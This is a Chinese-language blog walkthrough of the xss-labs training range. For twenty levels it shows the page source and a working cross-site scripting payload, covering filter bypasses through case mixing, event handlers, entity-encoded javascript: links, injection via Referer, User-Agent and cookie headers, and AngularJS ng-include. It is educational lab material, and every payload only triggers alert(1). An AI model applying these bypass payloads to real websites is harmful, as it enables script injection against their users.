title: XSS-labs
tags: XSS-labs
abbrlink: e4b595d3
date: 2022-08-13 16:49:42

xss-labs

xss-labs靶场的项目地址:https://github.com/do0dl3/xss-labs

level 1

payload:

http://xss/level1.php?name=<Script>alert(1)</Script>

level 2

源码:

<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错!");
 window.location.href="level3.php?writing=wait"; 
}
</script>
<title>欢迎来到level2</title>
</head>
<body>
<h1 align=center>欢迎来到level2</h1>
<h2 align=center>没有找到和&lt;script&gt;alert(1)&lt;/script&gt;相关的结果.</h2><center>
<form action=level2.php method=GET>


<input name=keyword  value="<script>alert(1)</script>">


<input type=submit name=submit value="搜索"/>
</form>
</center><center><img src=level2.png></center>
<h3 align=center>payload的长度:25</h3></body>
</html>

这里变量出现在两处,我们直接利用第二处,做构造以及闭合


payload:

1"><ScRipt>alert(1)</ScRipt>

level 3

  • 看一下网页源代码和php代码,使用了htmlspecialchars方法
  • htmlspecialchars的解释 https://www.w3school.com.cn/php/func_string_htmlspecialchars.asp 就是HTML为了防止特殊符号,如 "<"等,html当成标签
  • 这时候我们的思路就尽量要绕开使用新标签,那么浏览器还有一些事件可以执行js代码,如onfocus,onblur,但是这两个是属于输入框在光标进入/离开时调用后面的js代码(可以用函数形式或者javascript:~~),这里我用的是click,直接点击一下就可以了
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错!");
 window.location.href="level4.php?keyword=try harder!"; 
}
</script>
<title>欢迎来到level3</title>
</head>
<body>
<h1 align=center>欢迎来到level3</h1>
<h2 align=center>没有找到和'onfocus=javascript:alert('xss') &gt; /相关的结果.</h2><center>
<form action=level3.php method=GET>


<input name=keyword  value=''onfocus=javascript:alert('xss') &gt; /'>	


<input type=submit name=submit value=搜索 />
</form>
</center><center><img src=level3.png></center>
<h3 align=center>payload的长度:36</h3></body>
</html>

payload:

' onclick ='javascript:alert(1)'//
  • 再次点击搜索框

level 4

  • 同第三关(把单引号换成双引号)
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错!");
 window.location.href="level5.php?keyword=find a way out!"; 
}
</script>
<title>欢迎来到level4</title>
</head>
<body>
<h1 align=center>欢迎来到level4</h1>
<h2 align=center>没有找到和&lt;script&gt;alert(1)&lt;/script&gt;相关的结果.</h2><center>
<form action=level4.php method=GET>


<input name=keyword  value="scriptalert(1)/script">


<input type=submit name=submit value=搜索 />
</form>
</center><center><img src=level4.png></center>
<h3 align=center>payload的长度:21</h3></body>
</html>

payload:

" onclick ='javascript:alert(1)'//
  • 再次点击搜索框

level 5

<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错!");
 window.location.href="level6.php?keyword=break it out!"; 
}
</script>
<title>欢迎来到level5</title>
</head>
<body>
<h1 align=center>欢迎来到level5</h1>
<h2 align=center>没有找到和&lt;script&gt;alert(1)&lt;/script&gt;相关的结果.</h2><center>
<form action=level5.php method=GET>


<input name=keyword  value="<scr_ipt>alert(1)</script>">


<input type=submit name=submit value=搜索 />
</form>
</center><center><img src=level5.png></center>
<h3 align=center>payload的长度:26</h3></body>
</html>
  • script过滤了,onclick也过滤了

payload:

"></input><a href='javascript:alert(1)'>aaa</a>//
  • 构造a标签
  • 点击aaa

level 6

  • 同第二关
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错!");
 window.location.href="level7.php?keyword=move up!"; 
}
</script>
<title>欢迎来到level6</title>
</head>
<body>
<h1 align=center>欢迎来到level6</h1>
<h2 align=center>没有找到和&lt;script&gt;alert(1)&lt;/script&gt;相关的结果.</h2><center>
<form action=level6.php method=GET>


<input name=keyword  value="<scr_ipt>alert(1)</script>">


<input type=submit name=submit value=搜索 />
</form>
</center><center><img src=level6.png></center>
<h3 align=center>payload的长度:26</h3></body>
</html>

payload:

1"><ScRipt>alert(1)</ScRipt>

level 7

<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错!");
 window.location.href="level8.php?keyword=nice try!"; 
}
</script>
<title>欢迎来到level7</title>
</head>
<body>
<h1 align=center>欢迎来到level7</h1>
<h2 align=center>没有找到和&lt;script&gt;alert(1)&lt;/script&gt;相关的结果.</h2><center>
<form action=level7.php method=GET>


<input name=keyword  value="<>alert(1)</>">


<input type=submit name=submit value=搜索 />
</form>
</center><center><img src=level7.png></center>
<h3 align=center>payload的长度:13</h3></body>
</html>

1"><ScscriptRipt>alert(1)</ScscriptRipt>
  • 删去了script,将script变成scrscriptipt

level 8

<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错!");
 window.location.href="level9.php?keyword=not bad!"; 
}
</script>
<title>欢迎来到level8</title>
</head>
<body>
<h1 align=center>欢迎来到level8</h1>
<center>
<form action=level8.php method=GET>


<input name=keyword  value="&lt;script&gt;alert(1)&lt;/script&gt;">


<input type=submit name=submit value=添加友情链接 />
</form>


</center><center><BR><a href="<scr_ipt>alert(1)</scr_ipt>">友情链接</a></center><center><img src=level8.jpg></center>


<h3 align=center>payload的长度:27</h3></body>
</html>

上边过滤了<>特殊符号,下边在script中间加了个下划线
但是注意看下边代码再href里,这里只是想把href的内容变成javascript:alert(1),而不涉及标签的修改,所以直接编码绕过
在线Unicode编码转换工具 http://www.jsons.cn/unicode


payload:

&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;

level 9

<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错!");
 window.location.href="level10.php?keyword=well done!"; 
}
</script>
<title>欢迎来到level9</title>
</head>
<body>
<h1 align=center>欢迎来到level9</h1>
<center>
<form action=level9.php method=GET>


<input name=keyword  value="&lt;script&gt;alert(1)&lt;/script&gt;">


<input type=submit name=submit value=添加友情链接 />
</form>


</center><center><BR><a href="您的链接不合法?有没有!">友情链接</a></center><center><img src=level9.png></center>


<h3 align=center>payload的长度:27</h3></body>
</html>

javascript:alert(1);http://www.baidu.com    这样不行,javascript:alert(1);要编码

payload:

&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;&#59;//http://www.baidu.com
  • 点击友情链接

level 10

<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错!");
 window.location.href="level11.php?keyword=good job!"; 
}
</script>
<title>欢迎来到level10</title>
</head>
<body>
<h1 align=center>欢迎来到level10</h1>
<h2 align=center>没有找到和well done!相关的结果.</h2><center>
<form id=search>


<input name="t_link"  value="" type="hidden">
<input name="t_history"  value="" type="hidden">
<input name="t_sort"  value="" type="hidden">



</form>
</center><center><img src=level10.png></center>
<h3 align=center>payload的长度:10</h3></body>
</html>

  • 这里有三个<input>标签的话,也就意味着是三个参数,看看哪一个标签能够被突破
  • 构造语句:把链接的keyword的值替换
?keyword=<script>alert('xss')</script>&t_sort=" type="text" onclick="alert('xss')
  • 从页面响应来看,有一个<input>标签的状态可以被改变。这个标签就是名为t_sort<input>标签,之前都是隐藏状态,但是通过构造参数响应发现只有它里面的值被改变了。因此可以从该标签进行突破,尝试能不能注入恶意代码进行弹窗。

payload:

?keyword=<script>alert('xss')</script>&t_sort=" type="text" onclick="alert('xss')

level 11

<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错!");
 window.location.href="level12.php?keyword=good job!"; 
}
</script>
<title>欢迎来到level11</title>
</head>
<body>
<h1 align=center>欢迎来到level11</h1>
<h2 align=center>没有找到和good job!相关的结果.</h2><center>
<form id=search>


<input name="t_link"  value="" type="hidden">
<input name="t_history"  value="" type="hidden">
<input name="t_sort"  value="" type="hidden">
<input name="t_ref"  value="' or updatexml(1,concat(0x7e,(database())),1) and '1'='1" type="hidden">


</form>
</center><center><img src=level11.png></center>
<h3 align=center>payload的长度:9</h3></body>
</html>
  • <input>这次有四个标签
  • 发现还是t_sort不过双引号和尖括号被过滤,这样浏览器只能正常显示字符但是却无法起到闭合的作用了。
  • BP进行抓包可以看到在原始的请求数据包中并没有referer这个请求头,那么我们可以自己给它加上

payload:

referer:"type="text" onclick="alert('xss')
  • 点击出现的窗口

level 12

<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错!");
 window.location.href="level13.php?keyword=good job!"; 
}
</script>
<title>欢迎来到level12</title>
</head>
<body>
<h1 align=center>欢迎来到level12</h1>
<h2 align=center>没有找到和good job!相关的结果.</h2><center>
<form id=search>


<input name="t_link"  value="" type="hidden">
<input name="t_history"  value="" type="hidden">
<input name="t_sort"  value="" type="hidden">
<input name="t_ua"  value="Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:103.0) Gecko/20100101 Firefox/103.0" type="hidden">


</form>
</center><center><img src=level12.png></center>
<h3 align=center>payload的长度:9</h3></body>
</html>
  • 看到了t_ua这样一个标签,并且其中的value属性的值看起来像抓取数据包中User-Agent头的值

payload:

"type="text" onclick="alert('xss')
  • User-Agent的最后面加上payload

level 13

<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错!");
 window.location.href="level14.php"; 
}
</script>
<title>欢迎来到level13</title>
</head>
<body>
<h1 align=center>欢迎来到level13</h1>
<h2 align=center>没有找到和good job!相关的结果.</h2><center>
<form id=search>


<input name="t_link"  value="" type="hidden">
<input name="t_history"  value="" type="hidden">
<input name="t_sort"  value="" type="hidden">
<input name="t_cook"  value="" type="hidden">


</form>
</center><center><img src=level13.png></center>
<h3 align=center>payload的长度:9</h3></body>
</html>
  • 源码中的t_cook标签中出现了。
  • 尝试在cookie的值中进行构造语句

payload:

"type="text" onclick="alert('xss')
  • cookie的最后面加上payload

level 14

这题好像有问题

level 15

<html ng-app>
<head>
        <meta charset="utf-8">
        <script src="https://cdn.staticfile.org/angular.js/1.4.6/angular.min.js"></script>
<script>
window.alert = function()  
{     
confirm("完成的不错!");
 window.location.href="level16.php?keyword=test"; 
}
</script>
<title>欢迎来到level15</title>
</head>
<h1 align=center>欢迎来到第15关,自己想个办法走出去吧!</h1>
<p align=center><img src=level15.png></p>


<body><span class="ng-include:1.gif"></span></body>
<span>标签的class属性值中,但是前面还有ng-include这样的字符。
ng-include 是  angular js   中的东西,其作用相当于php的include函数。这里就
是将1.gif这个文件给包含进来。

尖括号被屏蔽
1、ng-include 指令用于包含外部的 HTML文件。
2、包含的内容将作为指定元素的子节点。
3、ng-include 属性的值可以是一个表达式,返回一个文件名。
4、默认情况下,包含的文件需要包含在同一个域名下。


特别值得注意的几点如下:
1.ng-include,如果单纯指定地址,必须要加引号
2.ng-include,加载外部html,script标签中的内容不执行
3.ng-include,加载外部html中含有style标签样式可以识别
因为这里参数值算是一个地址,所以需要添加引号。但是level1.php不是一个php文件吗?

这里解释一下
这是因为我们不是单纯的去包含level1.php,而是在后面添加了name参数值的。这就有点像是在访问了该参数值中地址之后把它响应在浏览器端的html文件给包含进来的意思。
  • src地址无法访问,先将其换成国内可以访问的地址:
https://cdn.staticfile.org/angular.js/1.4.6/angular.min.js

payload:

?src='level1.php?name=<img src=1 onerror=alert(1)>'

level 16

<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错!");
 window.location.href="level17.php?arg01=a&arg02=b"; 
}
</script>
<title>欢迎来到level16</title>
</head>
<body>
<h1 align=center>欢迎来到level16</h1>
<center>test</center><center><img src=level16.png></center>
<h3 align=center>payload的长度:4</h3></body>
</html>

  • 关键字script以及/空格都被编码成同样的空格字符实体了。
  • 尝试加个a标签,空格用回车编码代替,点击图片过关

payload:

<a%0D%0Aonclick='alert(1)'>

level 17

这一关中间是一个flash 插件,没法正常显示出来

<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错!"); 
}
</script>
<title>欢迎来到level17</title>
</head>
<body>
<h1 align=center>欢迎来到level17</h1>
<embed src=xsf01.swf?a=b width=100% heigth=100%><h2 align=center>成功后,<a href=level18.php?arg01=a&arg02=b>点我进入下一关</a></h2>
</body>
</html>
  • embed src=url说明:embed可以用来插入各种媒体,格式可以是 Midi、Wav、AIFF、AU、MP3等等,

payload:

arg01=a&arg02= onmouseover=alert(1)

level 18

  • 这一关和上一关一样的,只是把flash 换成了图片而已,构造的语句都一样

payload:

arg01=a&arg02= onmouseover=alert(1)

level 19

主要是因为现在 flash 技术全面停止使用,后面两关无法展示,感兴趣请自行搜索

别人的payload:

version&arg02=<a href='javascript:alert(/xss/)'>xss</a>

level 20

主要是因为现在 flash 技术全面停止使用,后面两关无法展示,感兴趣请自行搜索

别人的payload:

arg01=id&arg02=\"))}catch(e){}if(!self.a)self.a=!alert(1)//%26width%26height